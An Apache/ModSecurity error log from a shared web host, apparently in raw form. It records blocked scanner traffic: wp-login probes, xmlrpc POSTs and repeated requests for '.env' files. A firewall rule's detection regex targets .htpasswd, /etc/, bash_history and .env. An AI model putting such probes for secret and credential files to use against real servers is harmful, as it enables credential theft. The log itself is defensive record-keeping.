Jun 13 18:16:57.808311 2026] [security2:error] [pid 646876:tid 647084] [client 210.217.96.217:18922] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y-dyTkdrNlD40tSGsRgAAAEw"] [Sat Jun 13 18:16:57.809583 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.3:26212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:57.809930 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.3:26212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:57.814110 2026] [security2:error] [pid 646876:tid 647046] [client 34.23.213.224:45688] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-dyTkdrNlD40tSGsRwAAACY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:57.923207 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:16:57.923871 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:16:57.978357 2026] [security2:error] [pid 646876:tid 647123] [client 34.23.213.224:45690] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-dyTkdrNlD40tSGsSwAAAHM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:58.069739 2026] [security2:error] [pid 646876:tid 646893] [remote 17.22.245.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y-tyTkdrNlD40tSGsTQAAQg4"] [Sat Jun 13 18:16:58.139133 2026] [security2:error] [pid 648189:tid 648471] [client 34.23.213.224:43758] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-lWSojQL4F7upKBhCQAAAPU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:58.142303 2026] [security2:error] [pid 648189:tid 648450] [client 13.140.175.37:0] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "hamaraquetta.com"] [uri "/"] [unique_id "ai3y-lWSojQL4F7upKBhCgAAAOQ"] [Sat Jun 13 18:16:58.206011 2026] [access_compat:error] [pid 648189:tid 648346] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:58.206447 2026] [access_compat:error] [pid 648189:tid 648346] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:58.229533 2026] [security2:error] [pid 648189:tid 648454] [client 45.157.112.12:65069] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.112.157.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "muranoaviacion.com"] [uri "/index.php/joomla-pages/j-pages/contact-us"] [unique_id "ai3y-lWSojQL4F7upKBhEgAAAOg"], referer: https://muranoaviacion.com/index.php/joomla-pages/j-pages/contact-us [Sat Jun 13 18:16:58.301338 2026] [security2:error] [pid 648189:tid 648477] [client 34.23.213.224:43760] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-lWSojQL4F7upKBhGAAAAPs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:58.330133 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:43680] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/cache.php"] [unique_id "ai3y-lWSojQL4F7upKBhGQAAAKk"] [Sat Jun 13 18:16:58.465551 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:58.465632 2026] [security2:error] [pid 648189:tid 648399] [client 34.23.213.224:43776] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-lWSojQL4F7upKBhHwAAALM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:58.466062 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:58.637320 2026] [security2:error] [pid 648189:tid 648409] [client 34.23.213.224:43792] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-lWSojQL4F7upKBhKgAAALw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:58.753614 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.67:56187] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:58.753898 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.67:56187] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:58.759243 2026] [security2:error] [pid 648189:tid 648270] [remote 17.246.15.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y-lWSojQL4F7upKBhMAABAjA"] [Sat Jun 13 18:16:58.766190 2026] [security2:error] [pid 646876:tid 646963] [remote 17.22.237.50:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y-tyTkdrNlD40tSGsVwAAEFQ"] [Sat Jun 13 18:16:58.815264 2026] [security2:error] [pid 646876:tid 647068] [client 34.23.213.224:43798] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-tyTkdrNlD40tSGsWQAAADw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:58.881736 2026] [security2:error] [pid 648189:tid 648257] [remote 17.241.219.206:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y-lWSojQL4F7upKBhNwAApCM"] [Sat Jun 13 18:16:58.922946 2026] [security2:error] [pid 646876:tid 647071] [client 74.7.175.163:39288] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "onmultimedia-net.on-mediagroup.com"] [uri "/index.php"] [unique_id "ai3y-tyTkdrNlD40tSGsUQAAPwg"] [Sat Jun 13 18:16:58.929604 2026] [security2:error] [pid 648189:tid 648482] [client 13.140.175.37:0] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "hamaraquetta.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai3y-lWSojQL4F7upKBhOgAAAQA"] [Sat Jun 13 18:16:58.977023 2026] [security2:error] [pid 646876:tid 647100] [client 34.23.213.224:43806] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-tyTkdrNlD40tSGsXAAAAFw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:59.017473 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowYQ== [Sat Jun 13 18:16:59.017929 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowYQ== [Sat Jun 13 18:16:59.138024 2026] [security2:error] [pid 646876:tid 647021] [client 34.23.213.224:43822] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-9yTkdrNlD40tSGsXwAAAA0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:59.229904 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.88:63122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:59.230376 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.88:63122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:59.296799 2026] [security2:error] [pid 648189:tid 648288] [remote 17.22.237.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y-1WSojQL4F7upKBhSAAA_kI"] [Sat Jun 13 18:16:59.298708 2026] [security2:error] [pid 648189:tid 648391] [client 34.23.213.224:43830] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-1WSojQL4F7upKBhSQAAAKs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:59.463236 2026] [security2:error] [pid 648189:tid 648362] [client 34.23.213.224:43832] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-1WSojQL4F7upKBhUAAAAI4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:59.506808 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:16:59.507091 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:16:59.508557 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.13:46065] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:59.508850 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.13:46065] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:59.625452 2026] [security2:error] [pid 648189:tid 648363] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ContainerRegistry/.env"] [unique_id "ai3y-1WSojQL4F7upKBhWQAAAI8"] [Sat Jun 13 18:16:59.627072 2026] [security2:error] [pid 648189:tid 648478] [client 34.23.213.224:43836] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-1WSojQL4F7upKBhWgAAAPw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:59.735727 2026] [security2:error] [pid 648189:tid 648483] [client 13.140.175.37:0] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "hamaraquetta.com"] [uri "/media/system/js/core.js"] [unique_id "ai3y-1WSojQL4F7upKBhYQAAAQE"] [Sat Jun 13 18:16:59.760380 2026] [security2:error] [pid 648189:tid 648412] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/containers/.env"] [unique_id "ai3y-1WSojQL4F7upKBhYwAAAL8"] [Sat Jun 13 18:16:59.806507 2026] [security2:error] [pid 648189:tid 648356] [client 34.23.213.224:43850] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-1WSojQL4F7upKBhagAAAIg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:59.896919 2026] [security2:error] [pid 648189:tid 648365] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/content/.env"] [unique_id "ai3y-1WSojQL4F7upKBhbwAAAJE"] [Sat Jun 13 18:16:59.971086 2026] [security2:error] [pid 648189:tid 648395] [client 34.23.213.224:43864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-1WSojQL4F7upKBhdgAAAK8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:59.971117 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.20:60600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:59.971543 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.20:60600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:00.018931 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.80:64553] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:00.019374 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.80:64553] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:00.028874 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 